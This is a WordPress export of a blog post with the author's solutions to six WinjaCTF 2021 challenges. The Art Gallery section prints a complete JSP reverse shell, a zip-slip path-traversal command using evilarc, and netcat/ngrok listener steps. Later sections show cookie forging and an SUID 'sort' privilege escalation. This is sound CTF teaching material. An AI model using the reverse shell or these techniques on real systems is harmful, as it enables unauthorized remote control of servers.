{"id":698,"date":"2021-03-12T08:32:26","date_gmt":"2021-03-12T08:32:26","guid":{"rendered":"https:\/\/shreyapohekar.com\/blogs\/?p=698"},"modified":"2021-03-15T19:42:57","modified_gmt":"2021-03-15T19:42:57","slug":"winjactf-2021-solutions-2","status":"publish","type":"post","link":"https:\/\/shreyapohekar.com\/blogs\/winjactf-2021-solutions-2\/","title":{"rendered":"WinjaCtf 2021 solutions"},"content":{"rendered":"\n<p class=\"has-drop-cap\">Hey everyone! This blog post covers writeups of the challenges that were created by me as part of WinjaCTF  2021.  WinjaCTF is an initiative by Nullcon and it organises CTF annually.  Read about my experience at first nullco<code>n <a href=\"https:\/\/shreyapohekar.com\/blogs\/my-experience-at-first-nullcon\/\" target=\"_blank\" rel=\"noreferrer noopener\"><strong><span class=\"has-inline-color has-vivid-cyan-blue-color\">here<\/span><\/strong><\/a><\/code><\/p>\n\n\n\n<p>The challenges created by me were : <strong>pieceofpie, junk, art gallery, find me, binarybits, Redeem me<\/strong>. I will be giving a detailed writeup for all these challenges. <\/p>\n\n\n\n<p>Let&#8217;s get started.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Art Gallery<\/h2>\n\n\n\n<p>This challenge is based on a cve of tomcat ie named <code><a aria-label=\"undefined (opens in a new tab)\" href=\"https:\/\/snyk.io\/research\/zip-slip-vulnerability\" target=\"_blank\" rel=\"noreferrer noopener\">Zipslip<\/a><\/code>. Through this vulnerability, one can upload malicious zip files on the web server. And once the zip file gets uploaded, it get extracted and you get the capability to overwrite existing files.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>credits to be given to hackthebox for this amazing challenge idea!<\/p><\/blockquote>\n\n\n\n<h3 class=\"wp-block-heading\">Solution<\/h3>\n\n\n\n<p>The initial landing page looks like this. It has both the options: to upload image and to upload a zip file containing image bundle.<\/p>\n\n\n\n<p>But how will you identify the tomcat server? Simple \ud83d\ude42 Run nmap for that host.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"403\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-17-1024x403.png\" alt=\"\" class=\"wp-image-641\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-17-1024x403.png 1024w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-17-300x118.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-17-768x302.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-17-640x252.png 640w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-17.png 1230w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>The task is to upload a malicious zip file. Use the tool <a aria-label=\"undefined (opens in a new tab)\" href=\"https:\/\/github.com\/ptoomey3\/evilarc\" target=\"_blank\" rel=\"noreferrer noopener\"><span style=\"text-decoration: underline;\"><span class=\"has-inline-color has-vivid-cyan-blue-color\">evilarc<\/span><\/span><\/a> to create malicious zip files. <\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">python evilarc.py -o unix -p usr\/local\/tomcat\/webapps\/ROOT\/ shell.jsp<\/pre>\n\n\n\n<p>The file shell.jsp<\/p>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background scroll\"><code>&lt;%@page import=\"java.lang.*\"%&gt;\n&lt;%@page import=\"java.util.*\"%&gt;\n&lt;%@page import=\"java.io.*\"%&gt;\n&lt;%@page import=\"java.net.*\"%&gt;\n\n&lt;%\nclass StreamConnector extends Thread {\n    InputStream is;\n    OutputStream os;\n    StreamConnector(InputStream is, OutputStream os) {\n        this.is = is;\n        this.os = os;\n    }\n    public void run() {\n        BufferedReader isr = null;\n        BufferedWriter osw = null;\n        try {\n            isr = new BufferedReader(new InputStreamReader(is));\n            osw = new BufferedWriter(new OutputStreamWriter(os));\n            char buffer&#91;] = new char&#91;8192];\n            int lenRead;\n            while ((lenRead = isr.read(buffer, 0, buffer.length)) &gt; 0) {\n                osw.write(buffer, 0, lenRead);\n                osw.flush();\n            }\n        } catch (Exception e) {\n            System.out.println(\"exception: \" + e.getMessage());\n        }\n        try {\n            if (isr != null)\n                isr.close();\n            if (osw != null)\n                osw.close();\n        } catch (Exception e) {\n            System.out.println(\"exception: \" + e.getMessage());\n        }\n    }\n}\n%&gt;\n\n&lt;h1&gt;JSP Reverse Shell&lt;\/h1&gt;\n&lt;p&gt;Run nc -l 1234 on your client (127.0.0.1) and click Connect. This JSP will start a bash shell and connect it to your nc process&lt;\/p&gt;\n&lt;form method=\"get\"&gt;\n\tIP Address&lt;input type=\"text\" name=\"ipaddress\" size=30 value=\"127.0.0.1\"\/&gt;\n\tPort&lt;input type=\"text\" name=\"port\" size=10 value=\"1234\"\/&gt;\n\t&lt;input type=\"submit\" name=\"Connect\" value=\"Connect\"\/&gt;\n&lt;\/form&gt;\n\n&lt;%\n    String ipAddress = request.getParameter(\"ipaddress\");\n    String ipPort = request.getParameter(\"port\");\n    Socket sock = null;\n    Process proc = null;\n    if (ipAddress != null &amp;&amp; ipPort != null) {\n        try {\n            sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());\n            System.out.println(\"socket created: \" + sock.toString());\n            Runtime rt = Runtime.getRuntime();\n            proc = rt.exec(\"\/bin\/bash\");\n            System.out.println(\"process \/bin\/bash started: \" + proc.toString());\n            StreamConnector outputConnector = new StreamConnector(proc.getInputStream(), sock.getOutputStream());\n            System.out.println(\"outputConnector created: \" + outputConnector.toString());\n            StreamConnector inputConnector = new StreamConnector(sock.getInputStream(), proc.getOutputStream());\n            System.out.println(\"inputConnector created: \" + inputConnector.toString());\n            outputConnector.start();\n            inputConnector.start();\n        } catch (Exception e) {\n            System.out.println(\"exception: \" + e.getMessage());\n        }\n    }\n    if (sock != null &amp;&amp; proc != null) {\n        out.println(\"&lt;div class='separator'&gt;&lt;\/div&gt;\");\n        out.println(\"&lt;p&gt;Process \/bin\/bash, running as (\" + proc.toString() + \", is connected to socket \" + sock.toString() + \".&lt;\/p&gt;\");\n    }\n%&gt;\n<\/code><\/pre>\n\n\n\n<p>It will create evil.zip with contents ..\/..\/..\/..\/..\/..\/..\/..\/usr\/local\/tomcat\/webapps\/ROOT\/shell.jsp. When this zip file is extracted, the shell.jsp will be placed inside the webapp&#8217;s ROOT folder.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>PS: do not put the leading \/ while giving arguments for -p <\/p><\/blockquote>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"732\" height=\"72\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-18.png\" alt=\"\" class=\"wp-image-642\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-18.png 732w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-18-300x30.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-18-640x63.png 640w\" sizes=\"(max-width: 732px) 100vw, 732px\" \/><\/figure>\n\n\n\n<p>Now run ngrok and nc on two different terminals.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">ngrok tcp 9001<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">nc -lnvp 9001<\/pre>\n\n\n\n<p>For ngrok, you will receive the follwoing output.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"727\" height=\"198\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-19.png\" alt=\"\" class=\"wp-image-643\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-19.png 727w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-19-300x82.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-19-640x174.png 640w\" sizes=\"(max-width: 727px) 100vw, 727px\" \/><\/figure>\n\n\n\n<p>With the help of ngrok, the local port 9001 gets mapped to a public dns tcp:\/\/2.tcp.ngrok.io:19107 Cool Right?<\/p>\n\n\n\n<p>Open up your shell.jsp that just got extracted and enter the ngrok&#8217;s address and port.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"222\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-20-1024x222.png\" alt=\"\" class=\"wp-image-644\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-20-1024x222.png 1024w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-20-300x65.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-20-768x166.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-20-640x139.png 640w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-20.png 1034w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>On clicking connect, you will get the connection on your nc listener.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"954\" height=\"369\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-21.png\" alt=\"\" class=\"wp-image-645\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-21.png 954w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-21-300x116.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-21-768x297.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-21-640x248.png 640w\" sizes=\"(max-width: 954px) 100vw, 954px\" \/><\/figure>\n\n\n\n<p>Got the flag, but the file says that that the task isnt over yet! That means we need to enumerate further. <\/p>\n\n\n\n<p>Under<strong> \/home<\/strong> we can find that <strong>user cat <\/strong>is present. Something interesting might be present there. But we dont know the password for cat. Remember? that the whole box was around tomcat and <strong>tomcat-users.xml<\/strong> is the file that contains usernames and passwords. You will find one for user cat ie <strong>Winja@123 <\/strong><\/p>\n\n\n\n<p>Just login there and your next challenge junk will start!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Junk<\/h2>\n\n\n\n<p>Login as user cat. You will find junk folder. Junk folder contains 1000 files which have base64 encoded gibberish text. The text inside files is base64 encoded random number of times. And only one file has the flag.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>You can write a simple bash script to loop through every file in the folder and base64 decode it the number of times till it gives invalid input.<\/p>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background\"><code>#!\/bin\/bash\nfor filename in dump1\/*; do\n    x=`echo $(cat $filename)`\n    \n    for ((i=1; i&lt;=9; i++)); do\n\t    x=`echo $x | base64 -d`\n            echo $x  \t    \n\t    if (echo $x | grep flag)\n\t\tthen\n\t\t\t    echo $x\n\t\t\t    break\n\t        fi\n\t    \t\t\n    done\ndone\n<\/code><\/pre>\n\n\n\n<p>The script will base64 decode every file for 9 times. <\/p>\n\n\n\n<p>So save the output of the terminal, you can directly pipe it to file.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">bash soln.sh &gt; out<\/pre>\n\n\n\n<p>In the file out, search for the text &#8220;flag&#8221;, as it is the required flag format.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">PieceofPie<\/h2>\n\n\n\n<p>Pieceofpie is a web challenge that exploits predictable cookies. The challenge initially displays a page of restaurant named Cibo. It has a login and a registration page.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"430\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-1024x430.png\" alt=\"\" class=\"wp-image-620\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-1024x430.png 1024w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-300x126.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-768x323.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-640x269.png 640w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image.png 1174w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Solution<\/h3>\n\n\n\n<p>When registering the new user, you will find that the user administrator exists, as you wont be able to create a username with that.<\/p>\n\n\n\n<p>So just simply make a normal user test123<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"281\" height=\"281\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-2.png\" alt=\"\" class=\"wp-image-622\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-2.png 281w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-2-150x150.png 150w\" sizes=\"(max-width: 281px) 100vw, 281px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"373\" height=\"113\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-1.png\" alt=\"\" class=\"wp-image-621\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-1.png 373w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-1-300x91.png 300w\" sizes=\"(max-width: 373px) 100vw, 373px\" \/><\/figure>\n\n\n\n<p>Now after login, you will get the index page.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"189\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-3-1024x189.png\" alt=\"\" class=\"wp-image-623\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-3-1024x189.png 1024w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-3-300x55.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-3-768x142.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-3-640x118.png 640w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-3.png 1364w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>The task is to become the master user!! As we already know that there is an administrator user, something might be done around it.<\/p>\n\n\n\n<p>Now, right click and do inspect element. Under applications, click on the cookies section. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"598\" height=\"195\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-4.png\" alt=\"\" class=\"wp-image-624\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-4.png 598w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-4-300x98.png 300w\" sizes=\"(max-width: 598px) 100vw, 598px\" \/><\/figure>\n\n\n\n<p>If you closely look at the ssid, you will realize that it is md5 hash. Try decoding the same and you will get test123 (that is the username you just logged in with) . That means you need to create md5 hash corresponding to the administrator user. <\/p>\n\n\n\n<p>Once the new hash is loaded, you become administrator and you get the flag!<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"216\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-5-1024x216.png\" alt=\"\" class=\"wp-image-625\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-5-1024x216.png 1024w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-5-300x63.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-5-768x162.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-5-640x135.png 640w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-5.png 1366w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Find me<\/h2>\n\n\n\n<p>Find me is an OSINT based challenge. The username <strong>ramlalkulkarni<\/strong> has been leaked in the <strong>Mr. covid doctor <\/strong>challenge, under http:\/\/url\/humans.txt<\/p>\n\n\n\n<p>The reference to the username is given in the whole ctf scenerio.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Solution<\/h3>\n\n\n\n<p>Once you get the username, the only thing that comes to mind is <strong>Sherlock<\/strong>.<\/p>\n\n\n\n<p>Sherlock is an OSINT tool that enumerates the social media websites which hold the account with given username. You can find the github link here:<\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/sherlock-project\/sherlock\">https:\/\/github.com\/sherlock-project\/sherlock<\/a><\/p>\n\n\n\n<p>Git clone the repo. pip install all the python modules dependency. Now, simply run<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">python3 sherlock.py ramlalkulkarni<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"790\" height=\"174\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-6.png\" alt=\"\" class=\"wp-image-627\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-6.png 790w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-6-300x66.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-6-768x169.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-6-640x141.png 640w\" sizes=\"(max-width: 790px) 100vw, 790px\" \/><\/figure>\n\n\n\n<p>Got a bunch of valid results, but only one corresponds to our ctf and that is trello. Visit <strong>https:\/\/trello.com\/ramlalkulkarni<\/strong> and you will see his public  trello board. You will see a board that is pretty much similar to the flag, but its not the flag<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>PS: the trello board has now been made private.<\/p><\/blockquote>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"408\" height=\"228\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-7.png\" alt=\"\" class=\"wp-image-628\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-7.png 408w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-7-300x168.png 300w\" sizes=\"(max-width: 408px) 100vw, 408px\" \/><\/figure>\n\n\n\n<p>Looks like its some sort of substitution cipher. The hint a+b=6 implies that there is some value for a and b that makes the sum 6. From a and b it is clearly identifiable that its <strong>affine cipher<\/strong>. <\/p>\n\n\n\n<p>The value of a and b can be bruteforced. And it comes out to be<strong> a = b = 3<\/strong><\/p>\n\n\n\n<p>You can go to <strong><a href=\"https:\/\/gchq.github.io\/CyberChef\/\"><code><span class=\"has-inline-color has-vivid-cyan-blue-color\">cyberchef<\/span><\/code><\/a><\/strong> and do a affine cipher decode to get your flag.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Redeem Me<\/h2>\n\n\n\n<p>This challenge is based on image stegnography. In the secretive flights challenge, you will find an image that contains some voucher codes to redeem.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"433\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-8-1024x433.png\" alt=\"\" class=\"wp-image-629\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-8-1024x433.png 1024w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-8-300x127.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-8-768x325.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-8-640x271.png 640w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-8.png 1320w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Solution<\/h3>\n\n\n\n<p>Download the image and run exiftool on it.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">exiftool file.png<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"572\" height=\"91\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-9.png\" alt=\"\" class=\"wp-image-630\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-9.png 572w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-9-300x48.png 300w\" sizes=\"(max-width: 572px) 100vw, 572px\" \/><\/figure>\n\n\n\n<p>The comment says: paste this code. But the question is paste where?<\/p>\n\n\n\n<p>Paste is the hint for Pastebin as the code will build up a Pastebin URL. <strong>https:\/\/pastebin.com\/C7DSpwhi<\/strong> . You will see a password protected paste. The password for the paste is the code written on the voucher (all in small caps) ie <strong>fwxldbrbfh<\/strong>. And you will get your flag!!<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"429\" height=\"65\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-10.png\" alt=\"\" class=\"wp-image-631\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-10.png 429w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-10-300x45.png 300w\" sizes=\"(max-width: 429px) 100vw, 429px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Binary Bits<\/h2>\n\n\n\n<p>Binary Bits is a challenge based on privilege escalation. The challenge description says that to move forward, you need to have the creds. The creds to move forward can be found once you solve <strong>bank challenge<\/strong> or <strong>e-mobi<\/strong>. <\/p>\n\n\n\n<p>The creds are <strong>admin:My$up3rS3cr3tPassword!<\/strong><\/p>\n\n\n\n<p>With nmap you can identify that ssh service is runing on the port. So just simply ssh on the given port.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">ssh -p 49172 admin@challenges.winja.site <\/pre>\n\n\n\n<p>Now there are a list of users present. But you wont be able to view content of other users.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"396\" height=\"93\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-13.png\" alt=\"\" class=\"wp-image-634\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-13.png 396w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-13-300x70.png 300w\" sizes=\"(max-width: 396px) 100vw, 396px\" \/><\/figure>\n\n\n\n<p>When you have the shell, the first thing to do is enumerate the machine for juicy information. Grab <strong>linpeas.sh<\/strong> or<strong> linenum.sh<\/strong> from github and run script on the box. There you will find that suid bit is set on sort binary.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"139\" height=\"140\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-14.png\" alt=\"\" class=\"wp-image-635\"\/><\/figure>\n\n\n\n<p>This is something unusual from the default suids. There is a project named <a aria-label=\"undefined (opens in a new tab)\" href=\"https:\/\/gtfobins.github.io\/gtfobins\/sort\/\" target=\"_blank\" rel=\"noreferrer noopener\"><strong><code><span class=\"has-inline-color has-vivid-cyan-blue-color\">gtfobins<\/span><\/code><\/strong><\/a> that contains a database for all the binaries through which you can elevate your privileges. When suid bit is set on sort, you can do a privileged read on the files on which read permission is denied. That&#8217;s cool, right? But you need some additional information in order to get the flag as the file name containing the flag has been changed.<\/p>\n\n\n\n<p>In the enumeration results, you will find a file named myhash in \/opt<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"318\" height=\"94\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-15.png\" alt=\"\" class=\"wp-image-636\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-15.png 318w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/02\/image-15-300x89.png 300w\" sizes=\"(max-width: 318px) 100vw, 318px\" \/><\/figure>\n\n\n\n<p>The hash seems like md5. You can use any online md5 decoder to decode the hash to <strong>beautiful1<\/strong>. Now as you have the password, try it on all the accounts and for charlie, it will work.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"968\" height=\"120\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/03\/image.png\" alt=\"\" class=\"wp-image-655\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/03\/image.png 968w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/03\/image-300x37.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/03\/image-768x95.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/03\/image-640x79.png 640w\" sizes=\"(max-width: 968px) 100vw, 968px\" \/><\/figure>\n\n\n\n<p>Now you will get 2 important pieces with ploy.txt. Username is dragon and file name has to be guessed to treasure.txt. Run the command<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">sort -m \/home\/dragon\/treasure.txt<\/pre>\n\n\n\n<p>And you get the flag!<\/p>\n\n\n\n<p>That&#8217;s all for this blog post! I hope you enjoyed solving Winjactf challenges. Let me know in the comment section, what you think about the challenges that I created. Feel free if you have any kind of feedback or suggestions. Thanks.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p><span class=\"has-inline-color has-vivid-red-color\">Note:<\/span> Please do not create any writeups by copying things from here. It won&#8217;t make you eligible for the blog writing rewards by winja.<\/p><\/blockquote>\n\n\n\n<p>See you in the next one! Until then happy hunting \ud83d\ude42<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hey everyone! This blog post covers writeups of the challenges that were created by me as part of WinjaCTF 2021. WinjaCTF is an initiative by Nullcon and it organises CTF annually. Read about my experience at first nullcon here The challenges created by me were : pieceofpie, junk, art gallery, find me, binarybits, Redeem me. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":651,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_me